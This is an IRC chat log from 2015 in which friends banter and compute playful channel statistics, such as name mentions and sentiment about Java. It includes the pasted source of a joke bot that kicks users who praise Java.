[2015-03-25T17:44:09-0400] <+awe> Yup, an SVG. You could zoom in infinitely to read it in more detail. Even still though, I think the scale might be interesting to see.
[2015-03-25T17:50:56-0400] <fwilson> jwoglom: :(
[2015-03-25T17:52:29-0400] <jwoglom> fwilson: smile! :)
[2015-03-25T17:53:31-0400] <fwilson> :D
[2015-03-25T17:55:14-0400] <z3t> I plan to overtake fwilson in the sad faces statistic
[2015-03-25T17:56:23-0400] <fwilson> http://i.fwilson.me/qyR4FP.gif
[2015-03-25T17:56:24-0400] <jwoglom> that's such a depressing statistic to overtake though
[2015-03-25T17:56:29-0400] <fwilson> z3t: :(
[2015-03-25T17:56:50-0400] <ubuntor> wat
[2015-03-25T17:56:55-0400] <z3t> fwilson :(
[2015-03-25T17:57:04-0400] <fwilson> z3t: :(
[2015-03-25T17:57:06-0400] <fwilson> :(
[2015-03-25T17:57:40-0400] <fwilson> :(
[2015-03-25T17:58:23-0400] <fwilson> :(
[2015-03-25T18:00:08-0400] <JacobEdelman> z3t: you know, you lied when you said you weren't gonna stay in pdgn
[2015-03-25T18:00:16-0400] <JacobEdelman> so you still have to be interrogated
[2015-03-25T18:00:22-0400] <fwilson> D:
[2015-03-25T18:00:41-0400] <z3t> uh
[2015-03-25T18:01:00-0400] <JacobEdelman> you do not have a choice in this matter
[2015-03-25T18:01:14-0400] <JacobEdelman> question 1: what are your specific areas of interest in cs/math/life?
[2015-03-25T18:01:33-0400] <z3t> answer: null
[2015-03-25T18:01:42-0400] <JacobEdelman> ... you have no areas of interest?
[2015-03-25T18:01:50-0400] <z3t> no I do
[2015-03-25T18:01:59-0400] <JacobEdelman> but not in cs/math/life?
[2015-03-25T18:02:03-0400] <z3t> I do
[2015-03-25T18:02:07-0400] <JacobEdelman> ?
[2015-03-25T18:02:15-0400] <z3t> I'm just choosing to not answer the question
[2015-03-25T18:02:27-0400] <z3t> Well I'm providing an answer
[2015-03-25T18:02:39-0400] <JacobEdelman> ....
[2015-03-25T18:02:52-0400] <JacobEdelman> hmmm.... 
[2015-03-25T18:03:02-0400] <JacobEdelman> fine
[2015-03-25T18:03:14-0400] <JacobEdelman> question 2: describe yourself in 6 words
[2015-03-25T18:03:24-0400] <z3t> answer: null
[2015-03-25T18:03:28-0400] <+awe> z3t: I think JacobEdelman threw a null pointer exception.
[2015-03-25T18:03:49-0400] <z3t> good
[2015-03-25T18:03:51-0400] <fwilson> null
[2015-03-25T18:03:54-0400] <fwilson> :(
[2015-03-25T18:04:47-0400] <z3t> fwilson: you will not win this
[2015-03-25T18:04:48-0400] <z3t> :(
[2015-03-25T18:05:50-0400] <fwilson> z3t: :(
[2015-03-25T18:06:01-0400] <fwilson> awe: what do the statistics look like now? :(
[2015-03-25T18:06:15-0400] <z3t> fwilson: I bet they look great :(
[2015-03-25T18:06:21-0400] <fwilson> probably in my favor :(
[2015-03-25T18:06:26-0400] <z3t> I am probably in the lead for sadness :(
[2015-03-25T18:06:27-0400] <+awe> fwilson: Which statistics? The ones jwoglom posted? Or the ones I'm working on?
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[2015-03-25T18:07:12-0400] <jwoglom> fwilson: I can send you my log files if you want
[2015-03-25T18:07:18-0400] <JacobEdelman> I have assigned everyone a number representing how much I hate them
[2015-03-25T18:07:22-0400] <JacobEdelman> https://www.irccloud.com/pastebin/hH8leqzb
[2015-03-25T18:07:40-0400] <z3t> Interesting
[2015-03-25T18:07:43-0400] <JacobEdelman> it is calculated by [# of statements mentioning java]/[total # of statements]
[2015-03-25T18:07:44-0400] <z3t> :(
[2015-03-25T18:07:49-0400] <JacobEdelman> :P
[2015-03-25T18:07:52-0400] <fwilson> jwoglom: dank
[2015-03-25T18:08:05-0400] <+awe> I appreciate that nobody has a 0%.
[2015-03-25T18:08:07-0400] <fwilson> JacobEdelman: wow you hate me a lot :(
[2015-03-25T18:08:11-0400] <JacobEdelman> awe: i cut out the 0s
[2015-03-25T18:08:24-0400] <JacobEdelman> fwilson: you talk about Java too much
[2015-03-25T18:08:29-0400] <jwoglom> JacobEdelman: how many total messages are there?
[2015-03-25T18:08:31-0400] <fwilson> Java Java Java Java Java
[2015-03-25T18:08:33-0400] <+awe> It doesn't seem like any of the major folks here don't talk about it much.
[2015-03-25T18:08:36-0400] <fwilson> JacobEdelman: java?
[2015-03-25T18:08:46-0400] <fwilson> java java java java java
[2015-03-25T18:08:47-0400] <JacobEdelman> see
[2015-03-25T18:08:49-0400] <+awe> Erm, rather, it seems like everyone here who speaks frequently at all has spoken about it.
[2015-03-25T18:08:49-0400] <fwilson> java
[2015-03-25T18:08:49-0400] <jwoglom> also, i think your algorithm is flawed
[2015-03-25T18:08:51-0400] <fwilson> awe: java
[2015-03-25T18:08:54-0400] <JacobEdelman> awe: yup
[2015-03-25T18:08:57-0400] <jwoglom> what if someone says "i hate java"?
[2015-03-25T18:09:01-0400] <fwilson> I love java
[2015-03-25T18:09:02-0400] <jwoglom> does that count towards the metric?
[2015-03-25T18:09:02-0400] <z3t> ^ :(
[2015-03-25T18:09:06-0400] <JacobEdelman> I can actually use sentiment to fix that
[2015-03-25T18:09:07-0400] <JacobEdelman> I should
[2015-03-25T18:09:08-0400] <fwilson> java java java :(
[2015-03-25T18:09:08-0400] <+awe> JacobEdelman: You have to do some sentiment analysis.
[2015-03-25T18:09:11-0400] <JacobEdelman> yeah
[2015-03-25T18:09:17-0400] <JacobEdelman> don't you remember my bot?
[2015-03-25T18:09:23-0400] <JacobEdelman> that kicked people who said good thigns about java?
[2015-03-25T18:09:26-0400] <z3t> JavaIsEVILLL
[2015-03-25T18:09:30-0400] <z3t> :(
[2015-03-25T18:10:28-0400] <+awe> I'm pretty sure it kicked people who mentioned it period.
[2015-03-25T18:10:36-0400] <+awe> jwoglom: I'm running the numbers of mentions now.
[2015-03-25T18:10:41-0400] <z3t> Yes it did awe
[2015-03-25T18:10:51-0400] <z3t> He ran the bot on the sCTF channel and got yelled at by alokpathy
[2015-03-25T18:10:52-0400] <z3t> :(
[2015-03-25T18:11:34-0400] <fwilson> java
[2015-03-25T18:11:36-0400] <fwilson> :(
[2015-03-25T18:12:01-0400] <+awe> This is going to take O(mn) though.
[2015-03-25T18:12:11-0400] <+awe> Where m is the number of users who have spoken and n is the number of messages.
[2015-03-25T18:12:35-0400] <jwoglom> fancy, awe.
[2015-03-25T18:12:38-0400] <jwoglom> :P
[2015-03-25T18:13:08-0400] <+awe> It might be a little bit more useful if I filter it so that it only works on nicknames longer than two characters because there were times where everyone changed their nickname to individual letters like a and i, and I think it's wasting a good bit of energy on that.
[2015-03-25T18:13:31-0400] <jwoglom> maybe just combine all nicknames that a given person has used?
[2015-03-25T18:13:39-0400] <+awe> That'd be a lot harder.
[2015-03-25T18:14:36-0400] <+awe> I'll just wait through it, I guess.
[2015-03-25T18:14:59-0400] fwilson is now known as f
[2015-03-25T18:15:08-0400] <+awe> OH.
[2015-03-25T18:15:10-0400] <+awe> I know why it's taking so long.
[2015-03-25T18:15:12-0400] jwoglom is now known as j
[2015-03-25T18:15:18-0400] <+awe> let users: Vec<_> = logs.iter().map(|m| &m.nickname[..]).collect();
[2015-03-25T18:15:22-0400] <f> RUST
[2015-03-25T18:15:22-0400] z3t is now known as z
[2015-03-25T18:15:25-0400] <f> NO
[2015-03-25T18:15:27-0400] <f> awe: /nick a
[2015-03-25T18:15:31-0400] <+awe> It's actually take O(n^2).
[2015-03-25T18:15:36-0400] <f> awe: actually, how has Rust dev been going
[2015-03-25T18:15:39-0400] <f> i should relearn it
[2015-03-25T18:15:45-0400] <+awe> Rust is awesome.
[2015-03-25T18:15:50-0400] z is now known as z3t
[2015-03-25T18:15:51-0400] <+awe> It's way better now than it ever was.
[2015-03-25T18:15:55-0400] <f> good
[2015-03-25T18:15:59-0400] <z3t> :(
[2015-03-25T18:16:01-0400] <j> z3t: ayy, 1 letter nicks m8
[2015-03-25T18:16:09-0400] <JacobEdelman> awe: ummm no
[2015-03-25T18:16:17-0400] <JacobEdelman> it only kicked people who said good things about java
[2015-03-25T18:16:22-0400] <JacobEdelman> let me dig up the source
[2015-03-25T18:16:26-0400] <z3t> That's a damn lie JacobEdelman
[2015-03-25T18:16:43-0400] <z3t> Versions 1-~100 kicked if the word java was found at all in their message
[2015-03-25T18:16:48-0400] <f> java
[2015-03-25T18:16:51-0400] <f> java java java
[2015-03-25T18:16:52-0400] <z3t> :(
[2015-03-25T18:16:53-0400] f is now known as fwilson
[2015-03-25T18:17:08-0400] <j> welp, that fun is over
[2015-03-25T18:17:10-0400] j is now known as jwoglom
[2015-03-25T18:17:13-0400] <JacobEdelman> z3t: nah
[2015-03-25T18:17:16-0400] <fwilson> rustc: error while loading shared libraries: librustc_driver-4e7c5e5c.so: cannot open shared object file: No such file or directory
[2015-03-25T18:17:18-0400] <fwilson> @_@
[2015-03-25T18:17:18-0400] <JacobEdelman> it was just over sensitive
[2015-03-25T18:17:21-0400] <JacobEdelman> / Create the configuration
[2015-03-25T18:17:21-0400] <JacobEdelman> var sediment = require('sediment');
[2015-03-25T18:17:21-0400] <JacobEdelman> var config = {
[2015-03-25T18:17:21-0400] <JacobEdelman> 	channels: ["#sctf_bots"],
[2015-03-25T18:17:21-0400] <JacobEdelman> 	server: "irc.mibbit.net",
[2015-03-25T18:17:21-0400] <JacobEdelman> 	botName: "JavaIsEVILLL",
[2015-03-25T18:17:21-0400] <JacobEdelman> 	port: 6697,
[2015-03-25T18:17:21-0400] <JacobEdelman> 	secure: true
[2015-03-25T18:17:21-0400] <JacobEdelman> };
[2015-03-25T18:17:21-0400] <JacobEdelman> // Get the lib
[2015-03-25T18:17:21-0400] <JacobEdelman> var irc = require("irc");
[2015-03-25T18:17:22-0400] <JacobEdelman> // Create the bot name
[2015-03-25T18:17:23-0400] <JacobEdelman> var bot = new irc.Client(config.server, config.botName, {
[2015-03-25T18:17:24-0400] <JacobEdelman> 	channels: config.channels,
[2015-03-25T18:17:25-0400] <JacobEdelman> 	port: 6667
[2015-03-25T18:17:26-0400] <JacobEdelman> });
[2015-03-25T18:17:27-0400] <JacobEdelman> // Listen for any message, PM said user when he posts
[2015-03-25T18:17:28-0400] <JacobEdelman> bot.addListener("message", function(from, to, text, message) {
[2015-03-25T18:17:29-0400] <JacobEdelman>   var text=message.args[1];
[2015-03-25T18:17:30-0400] <JacobEdelman> 	console.log(from);
[2015-03-25T18:17:31-0400] <JacobEdelman> 	if(Math.random()< 1/5.0){
[2015-03-25T18:17:32-0400] <JacobEdelman> 		try{bot.send("KICK", config.channels[0],from);}
[2015-03-25T18:17:33-0400] <JacobEdelman> 		catch(e){0;}
[2015-03-25T18:17:34-0400] <JacobEdelman> 	}
[2015-03-25T18:17:35-0400] <JacobEdelman> 	else if(from.toLowerCase().replace(/[^a-zA-Z0-9]/g,"") == ""){
[2015-03-25T18:17:36-0400] <JacobEdelman> 		if(sediment.analyze(from.toLowerCase().replace(/[^a-zA-Z_ ]/g,"").replace(/_/g," ")).score>0){
[2015-03-25T18:17:37-0400] <JacobEdelman> 			bot.say(config.channels[0],"EVIL DETECTED FROM "+from);
[2015-03-25T18:17:38-0400] <JacobEdelman> 			try{bot.send("KICK", config.channels[0],from);}
[2015-03-25T18:17:39-0400] <JacobEdelman> 			catch(e){0;}
[2015-03-25T18:17:40-0400] <JacobEdelman> 		}
[2015-03-25T18:17:41-0400] <z3t> You could've like
[2015-03-25T18:17:41-0400] <JacobEdelman> 	}
[2015-03-25T18:17:42-0400] <JacobEdelman>   else if((text.toLowerCase().replace(/[^a-zA-Z_ ]/g,"").replace(/_/g," ").indexOf("java") > -1)){
[2015-03-25T18:17:42-0400] <fwilson> JacobEdelman: uh
[2015-03-25T18:17:42-0400] <jwoglom> woah der
[2015-03-25T18:17:43-0400] <JacobEdelman>     if(sediment.analyze(text).score>0){
[2015-03-25T18:17:44-0400] <fwilson> pastebin
[2015-03-25T18:17:44-0400] <JacobEdelman>       bot.say(config.channels[0],"EVIL DETECTED FROM "+from);
[2015-03-25T18:17:44-0400] <z3t> put it on pastebin
[2015-03-25T18:17:45-0400] <JacobEdelman> 			try{bot.send("KICK", config.channels[0],from);}
[2015-03-25T18:17:46-0400] <fwilson> anyone
[2015-03-25T18:17:46-0400] <JacobEdelman> 			catch(e){0;}
[2015-03-25T18:17:47-0400] <JacobEdelman>     }
[2015-03-25T18:17:48-0400] <JacobEdelman>   }
[2015-03-25T18:17:49-0400] <JacobEdelman> });
[2015-03-25T18:17:50-0400] <jwoglom> pls
[2015-03-25T18:17:50-0400] <JacobEdelman> ooh
[2015-03-25T18:17:51-0400] <JacobEdelman> oops
[2015-03-25T18:17:52-0400] <JacobEdelman> meant to pastebin that
[2015-03-25T18:17:53-0400] <JacobEdelman> ./kick JacobEdelman
[2015-03-25T18:17:54-0400] <JacobEdelman> I MEANT TO PASTEBIN
[2015-03-25T18:17:55-0400] <z3t> >.>
[2015-03-25T18:17:56-0400] <fwilson> dank
[2015-03-25T18:17:56-0400] <JacobEdelman> sorry
[2015-03-25T18:17:57-0400] <JacobEdelman> clicked the wrong button
[2015-03-25T18:17:58-0400] raphus.pdgn.co kicked JacobEdelman from the channel (I hate you.)
[2015-03-25T18:18:04-0400] <+awe> http://sprunge.us/KDih
[2015-03-25T18:18:06-0400] JacobEdelman (uid15877@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2015-03-25T18:18:06-0400] <fwilson> sure.
[2015-03-25T18:18:09-0400] <fwilson> awe++
[2015-03-25T18:18:09-0400] <jwoglom> man, you got a server to hate you!
[2015-03-25T18:18:21-0400] <JacobEdelman> that was one of those times
[2015-03-25T18:18:27-0400] <JacobEdelman> where I wouldve kicked myself
[2015-03-25T18:18:32-0400] <+awe> Okay, I'm going to do the filtering because with the one-letter stuff, these results are trash.
[2015-03-25T18:19:02-0400] <+awe> Better results: http://sprunge.us/bORA
[2015-03-25T18:19:51-0400] <Hyper> JacobEdelman: dat spam
[2015-03-25T18:19:52-0400] <JacobEdelman> awe mentioned hei 138 times.
[2015-03-25T18:19:58-0400] <JacobEdelman> Hyper: I meant to pastebin
[2015-03-25T18:20:01-0400] <jwoglom> jwoglom mentioned jwoglom 12 times.
[2015-03-25T18:20:03-0400] <JacobEdelman> blame... umm.. ben?
[2015-03-25T18:20:04-0400] <jwoglom> ayy
[2015-03-25T18:20:18-0400] <+awe> jwoglom: awe mentioned awe 410 times.
[2015-03-25T18:20:19-0400] <jwoglom> also maybe you could, uh, sort it? :P
[2015-03-25T18:20:26-0400] <+awe> Yeah, sorry, it's a hashmap. xD
[2015-03-25T18:20:38-0400] <z3t> hashmaps ftw
[2015-03-25T18:20:42-0400] <JacobEdelman> awe: sort
[2015-03-25T18:20:43-0400] <JacobEdelman> ooh
[2015-03-25T18:20:43-0400] <z3t> :(
[2015-03-25T18:20:46-0400] <JacobEdelman> you guys beat me
[2015-03-25T18:20:52-0400] <ubuntor> hmm
[2015-03-25T18:20:55-0400] <JacobEdelman> I wrote a method just for sorting dicts just for irc stats today
[2015-03-25T18:21:18-0400] <jwoglom> awe: doesn't have to be stored sorted, just printed sorted :P
[2015-03-25T18:21:36-0400] <+awe> I wasn't saying it couldn't be printed sorted. It's just harder than what I just wrote.
[2015-03-25T18:22:53-0400] <z3t> sorted? http://pastebin.com/raw.php?i=PuHdJ5Dm
[2015-03-25T18:23:18-0400] <+awe> Yeah, what'd you do? Pipe it through that CLI command to sort?
[2015-03-25T18:23:56-0400] <+awe> awe mentioned hardmath123 725 times.
[2015-03-25T18:23:59-0400] <+awe> awe mentioned JacobEdelman 857 times.
[2015-03-25T18:24:38-0400] <+awe> awe mentioned nezorg 523 times.
[2015-03-25T18:27:05-0400] <+awe> http://sprunge.us/gYEe
[2015-03-25T18:27:21-0400] <+awe> There. It outputs sorted now, too. :)
[2015-03-25T18:27:35-0400] <+awe> let heap = BinaryHeap::from_vec(mentions.keys().collect());
[2015-03-25T18:27:42-0400] <+awe> I did an implied heapsort. :)
[2015-03-25T18:29:02-0400] <+awe> Wow, JacobEdelman and I are tied for fwilson's favorite.
[2015-03-25T18:29:31-0400] <+awe> I'm definitely hardmath123's favorite person here though. :)
[2015-03-25T18:29:55-0400] <+awe> Tamini in her many forms is jwoglom's favorite.
[2015-03-25T18:30:00-0400] <fwilson> ;_; http://i.fwilson.me/0E1FnJ.png
[2015-03-25T18:30:14-0400] <fwilson> right after http://i.fwilson.me/cHbSqV.png too
[2015-03-25T18:30:19-0400] <jwoglom> awe: ..okay? :P
[2015-03-25T18:30:30-0400] <jwoglom> She invited me here, lol
[2015-03-25T18:30:36-0400] <Hyper> fwilson: 'grats!
[2015-03-25T18:30:46-0400] <fwilson> Hyper: BUT IT'S NOT OVER
[2015-03-25T18:30:51-0400] <Hyper> mmm
[2015-03-25T18:31:18-0400] <+awe> Unfortunately, JacobEdelman is apparently my favorite. It's a bit surprising given how often I accidentally ping jwoglom when I mean to ping him.
[2015-03-25T18:31:20-0400] <Hyper> now you have the warp world or whatever it's called, right?
[2015-03-25T18:31:37-0400] <Hyper> awe: who's my favorite?
[2015-03-25T18:31:45-0400] <jwoglom> awe: heh, yup :P
[2015-03-25T18:32:17-0400] <+awe> As is the case with almost everyone else, I'm your favorite, Hyper.
[2015-03-25T18:32:27-0400] <Hyper> heh
[2015-03-25T18:33:17-0400] <+awe> Tamini in her various forms is also alokpathy's favorite, too.
[2015-03-25T18:33:35-0400] <+awe> In fact, I think alokpathy has the most pings to Tamini of anyone period.
[2015-03-25T18:34:13-0400] <+awe> Hah, actually, Tamini beats out JacobEdelman for my favorite!
[2015-03-25T18:34:20-0400] <+awe> Tamini: you're everybody's favorite person.
[2015-03-25T18:34:25-0400] <+awe> Tamini: Well, either you or me.
[2015-03-25T18:35:17-0400] <jwoglom> (gasp) awe isn't the most popular person on his own network? :P
[2015-03-25T18:35:22-0400] <z3t> these stats are a lie
[2015-03-25T18:35:27-0400] <z3t> I have mentioned way more than 6 people
[2015-03-25T18:35:28-0400] <jwoglom> Tamini: impressive feat you've accomplished there :D
[2015-03-25T18:35:29-0400] <+awe> Tamini is a very popular person.
[2015-03-25T18:35:35-0400] <+awe> z3t: The logs are from earlier today.
[2015-03-25T18:35:51-0400] <z3t> I've mentioned way more people, earlier than today
[2015-03-25T18:36:05-0400] <+awe> Apparently not.
[2015-03-25T18:37:07-0400] <z3t> i've mentioned JacobEdelman way more than 2 times
[2015-03-25T18:39:10-0400] <z3t> These stats also claim I have never mentioned jwoglom, which I have.
[2015-03-25T18:39:20-0400] <+awe> Apparently not before earlier.
[2015-03-25T18:39:34-0400] <z3t> That is a total lie.
[2015-03-25T18:39:45-0400] <z3t> :(
[2015-03-25T18:40:40-0400] <JacobEdelman> https://www.irccloud.com/pastebin/VmB81flN
[2015-03-25T18:40:44-0400] <JacobEdelman> new rankings
[2015-03-25T18:40:49-0400] <JacobEdelman> of how much I hate people
[2015-03-25T18:41:07-0400] <JacobEdelman> = probability a statmeent they say about java is positive
[2015-03-25T18:41:32-0400] <JacobEdelman> calc0000: will you marry me?
[2015-03-25T18:41:37-0400] <+awe> http://sprunge.us/NeRC
[2015-03-25T18:41:39-0400] <jwoglom> (gasp) i'm #12 on someone's hitlist!
[2015-03-25T18:41:39-0400] <JacobEdelman> :P
[2015-03-25T18:41:46-0400] <z3t> it's an honor to not be 1st JacobEdelman :(
[2015-03-25T18:41:49-0400] <+awe> z3t: there you go.
[2015-03-25T18:41:58-0400] <JacobEdelman> oh wait... theres a thought
[2015-03-25T18:42:17-0400] <+awe> z3t: I updated the logs and reran it.
[2015-03-25T18:42:23-0400] <Fill> JacobEdelman: so I'm a 0.0
[2015-03-25T18:42:24-0400] <Fill> :P
[2015-03-25T18:42:31-0400] <z3t> Still think there's something off about it awe, but aight
[2015-03-25T18:42:35-0400] <+awe> Yes, I'm now fwilson's favorite person!
[2015-03-25T18:42:42-0400] <Fill> awe: oh, you're back! Haven't seen you for a while
[2015-03-25T18:42:53-0400] <+awe> Fill: It means that he has no idea how you feel about Java.
[2015-03-25T18:42:58-0400] <jwoglom> awe: well how many pings does fwilson have, period? :P
[2015-03-25T18:42:59-0400] <+awe> Fill: And indeed, I am back. It's good to see you.
[2015-03-25T18:43:01-0400] <JacobEdelman> https://www.irccloud.com/pastebin/6v9CWdK8
[2015-03-25T18:43:11-0400] <JacobEdelman> probability a persons statement about me is postive
[2015-03-25T18:43:15-0400] <JacobEdelman> me= JacobEdelman
[2015-03-25T18:43:27-0400] <+awe> Oh.
[2015-03-25T18:43:31-0400] <z3t> heh
[2015-03-25T18:43:31-0400] <+awe> I realized why Tamini is beating me.
[2015-03-25T18:43:32-0400] <jwoglom> i have a negative value?
[2015-03-25T18:43:44-0400] <JacobEdelman> calc000: I no longer want to marry you
[2015-03-25T18:43:49-0400] <JacobEdelman> jwoglom: its very approximate
[2015-03-25T18:43:57-0400] <+awe> Every mention of Tamini_ is also counted for Tam and Tami.
[2015-03-25T18:44:02-0400] <fwilson> this.
[2015-03-25T18:44:03-0400] <+awe> And Tamini.
[2015-03-25T18:44:04-0400] <Hyper> lol
[2015-03-25T18:44:04-0400] <jwoglom> awe: heh
[2015-03-25T18:44:06-0400] <jwoglom> that would do it
[2015-03-25T18:44:08-0400] <JacobEdelman> but it probably has something to do with me doing something insane and you calling me on it
[2015-03-25T18:44:09-0400] <JacobEdelman> :P
[2015-03-25T18:44:15-0400] <Hyper> awe: gj
[2015-03-25T18:44:29-0400] <z3t> JacobEdelman not sure how my number is negative
[2015-03-25T18:44:32-0400] <z3t> isn't *
[2015-03-25T18:44:40-0400] <JacobEdelman> hmmm good question
[2015-03-25T18:44:56-0400] <Fill> I really don't have any feelings about Java. I'm pretty much neutral. For some reason, professors at my university love java and nearly all of my  class projects were in Java, with some few minor exceptions. But I didn't gain much sympathy for java.
[2015-03-25T18:44:56-0400] <JacobEdelman> maybe these stats are too old?
[2015-03-25T18:45:08-0400] <Fill> I do start to love Rust though
[2015-03-25T18:46:04-0400] <+awe> http://sprunge.us/gIgd
[2015-03-25T18:46:07-0400] <+awe> New numbers that are fixed.
[2015-03-25T18:46:58-0400] <JacobEdelman> z3t: these might be a bit old maybe?
[2015-03-25T18:47:20-0400] <jwoglom> those looks old
[2015-03-25T18:47:29-0400] <z3t> That or you managed to not include my messages
[2015-03-25T18:47:31-0400] <jwoglom> i've only mentioned awe 28 times?
[2015-03-25T18:47:32-0400] <JacobEdelman> yeah, thats probably it
[2015-03-25T18:47:36-0400] <JacobEdelman> its not my logs
[2015-03-25T18:47:39-0400] <+awe> No, this approach also doesn't seem very good. Argh.
[2015-03-25T18:47:39-0400] <JacobEdelman> *they are
[2015-03-25T18:47:48-0400] <+awe> This doesn't include pings that are like jwoglom:
[2015-03-25T18:47:48-0400] <jwoglom> and Tam* 10?
[2015-03-25T18:47:56-0400] <z3t> oh that'd make sense ajvpot
[2015-03-25T18:47:58-0400] <z3t> awe *
[2015-03-25T18:47:59-0400] <+awe> It only includes mentions where the name is completely on its own.
[2015-03-25T18:48:00-0400] <jwoglom> that counts out like all of them then :P
[2015-03-25T18:48:02-0400] <z3t> tab failed me :(
[2015-03-25T18:48:03-0400] <+awe> I know!
[2015-03-25T18:48:10-0400] <+awe> I need to find a good way to do this.
[2015-03-25T18:48:11-0400] <jwoglom> my client adds the : when i tab complete
[2015-03-25T18:48:15-0400] <+awe> Mine too.
[2015-03-25T18:48:18-0400] <jwoglom> just have it ignore the : if it exists?
[2015-03-25T18:48:21-0400] <+awe> Unless it's in the middle of a sentence.
[2015-03-25T18:48:23-0400] <jwoglom> that'd be a cheap solution
[2015-03-25T18:48:25-0400] <JacobEdelman> I find it funny that the person who likes me the best in the top 25
[2015-03-25T18:48:27-0400] <JacobEdelman> is myself
[2015-03-25T18:48:28-0400] <JacobEdelman> :)
[2015-03-25T18:48:29-0400] <jwoglom> just have it strip to alphanumerics and undescores
[2015-03-25T18:49:53-0400] <JacobEdelman> oh wait
[2015-03-25T18:49:59-0400] <JacobEdelman> its not myself
[2015-03-25T18:50:04-0400] <JacobEdelman> that was JacobEdelman_
[2015-03-25T18:50:13-0400] apothy (uid15876@pdgn-550.9ak.7cuf9e.IP) joined the channel
[2015-03-25T18:50:17-0400] <JacobEdelman> its nezorg
[2015-03-25T18:50:25-0400] <apothy> Wat
[2015-03-25T18:50:26-0400] <JacobEdelman> apothy: we are doing fun irc statistics!
[2015-03-25T18:50:35-0400] <JacobEdelman> https://www.irccloud.com/pastebin/6v9CWdK8
[2015-03-25T18:50:45-0400] <JacobEdelman>  probability a persons statement about me is postive
[2015-03-25T18:50:50-0400] <+awe> http://sprunge.us/PTNQ
[2015-03-25T18:50:52-0400] <+awe> This is probably good.
[2015-03-25T18:50:54-0400] <JacobEdelman> https://www.irccloud.com/pastebin/VmB81flN
[2015-03-25T18:51:04-0400] <+awe> I call rigged, JacobEdelman. awe 0.160868480428
[2015-03-25T18:51:07-0400] <JacobEdelman> probabiltiy a person's statement about java is positive
[2015-03-25T18:51:22-0400] <+awe> I don't think I ever say positive things about you.
[2015-03-25T18:51:37-0400] <JacobEdelman> lol
[2015-03-25T18:51:38-0400] <JacobEdelman> :)
[2015-03-25T18:51:49-0400] <JacobEdelman> shall I check too see what you say?
[2015-03-25T18:52:13-0400] <JacobEdelman> awe jacobedelman: are you dumb?.
[2015-03-25T18:53:04-0400] <+awe> For the record, in tracking mention relationships, I used three data structures.
[2015-03-25T18:53:29-0400] <JacobEdelman> awe jacobedelman: your website is gross..
[2015-03-25T18:53:45-0400] <+awe> A HashSet to track nicknames of people who have spoken. A HashMap to track mention counts. A BinaryHeap to sort the output.
[2015-03-25T18:53:48-0400] <jwoglom> JacobEdelman: it really is
[2015-03-25T18:53:51-0400] <jwoglom> :P
[2015-03-25T18:53:51-0400] <JacobEdelman> awe jacobedelman: you keep ignoring me but this website is still terrible..
[2015-03-25T18:54:03-0400] <JacobEdelman> awe hcnsh: jacobedelman is just a python snob..
[2015-03-25T18:54:08-0400] <+awe> How is it not negative?
[2015-03-25T18:54:12-0400] <JacobEdelman> actually, I am quiet surprised it thinks you like me
[2015-03-25T18:54:12-0400] <JacobEdelman> :P
[2015-03-25T18:54:14-0400] <+awe> Every time I mention you, I say something negative!
[2015-03-25T18:54:18-0400] <JacobEdelman> lemme look at exact scores
[2015-03-25T18:54:27-0400] <JacobEdelman> awe; those were just specific selecitons
[2015-03-25T18:54:36-0400] <+awe> I know, I know.
[2015-03-25T18:55:19-0400] <z3t> JacobEdelman: I think you need to just manually make my number the smallest on your data.
[2015-03-25T18:55:37-0400] <+awe> Fill -0.142857
[2015-03-25T18:55:45-0400] <+awe> Fill says bad things about JacobEdelman. ;)
[2015-03-25T18:55:51-0400] <+awe> ernest -0.999999000001
[2015-03-25T18:55:57-0400] <+awe> ernest definitely says bad things about JacobEdelman.
[2015-03-25T18:56:52-0400] <+awe> jwoglom: What else would be interesting for me to figure out?
[2015-03-25T18:57:09-0400] <fwilson> JacobEdelman you're a great person
[2015-03-25T18:57:17-0400] <z3t> fwilson :(
[2015-03-25T18:57:22-0400] <fwilson> :(
[2015-03-25T18:57:35-0400] <+awe> fwilson: It's not very nice to lie.
[2015-03-25T18:57:48-0400] <jwoglom> awe: hm. periods of activity?
[2015-03-25T18:58:07-0400] <+awe> Eh, I'm not as interested in that. Any other suggestions?
[2015-03-25T18:58:21-0400] <JacobEdelman> http://pastebin.com/vQHzJpnb
[2015-03-25T18:58:24-0400] <JacobEdelman> thats the stuff
[2015-03-25T18:59:10-0400] <Fill> lol
[2015-03-25T18:59:17-0400] <JacobEdelman> most of the postiive stuff you say involving me is either sarcasm or about rust
[2015-03-25T18:59:18-0400] <JacobEdelman> :P
[2015-03-25T19:00:03-0400] <+awe> Indeed.
[2015-03-25T19:00:11-0400] <+awe> ('it worked out way better than jacobedelman..', 0.9999990000010001)
[2015-03-25T19:00:14-0400] <+awe> Ahahahaha.
[2015-03-25T19:00:23-0400] <+awe> ("jacobedelman: that's because the code you write is garbage..", 0.0)
[2015-03-25T19:00:23-0400] <+awe> ('jacobedelman: are you one of the morons who hosts their private key on keybase?.', 0.0)
[2015-03-25T19:00:26-0400] <+awe> How are neither of those negative?
[2015-03-25T19:00:34-0400] <JacobEdelman> no idea
[2015-03-25T19:00:57-0400] <JacobEdelman> its eh quality
[2015-03-25T19:01:04-0400] <JacobEdelman> I should switch to a better one
[2015-03-25T19:01:07-0400] <z3t> JacobEdelman redo it in Java
[2015-03-25T19:01:14-0400] <+awe> ('yup, that looks like something jacobedelman_ would write alright!.', 0.9999990000010001)
[2015-03-25T19:01:19-0400] <+awe> I assure you, computer. This is not a positive comment.
[2015-03-25T19:01:42-0400] <JacobEdelman> lol
[2015-03-25T19:01:44-0400] <JacobEdelman> LOL
[2015-03-25T19:01:47-0400] <jwoglom> it's hard for computers to understand sarcasm :P
[2015-03-25T19:02:06-0400] <jwoglom> or, in this case, the complete truth
[2015-03-25T19:03:43-0400] <+awe> jwoglom: it's equally hard for people to understand sarcasm.
[2015-03-25T19:03:49-0400] <jwoglom> true
[2015-03-25T19:03:56-0400] <jwoglom> it's a hard thing to learn
[2015-03-25T19:04:03-0400] <+awe> jwoglom: Good sentiment analysis algorithms are just as accurate as a team of people voting on whether or not something was sarcastic. :)
[2015-03-25T19:04:13-0400] <+awe> Isn't that a fun fact?
[2015-03-25T19:04:22-0400] <jwoglom> obviously this is why we should just replace computers with committees of people!
[2015-03-25T19:04:30-0400] <+awe> No, the other way around!
[2015-03-25T19:04:30-0400] <jwoglom> just think of how much more efficient things will be!
[2015-03-25T19:04:45-0400] <+awe> Replace committees of people with computers. They'll do at least as good of a job!
[2015-03-25T19:05:06-0400] <jwoglom> how about replacing committees with people of computers? :P
[2015-03-25T19:06:37-0400] <JacobEdelman> people by how often they use the letter j
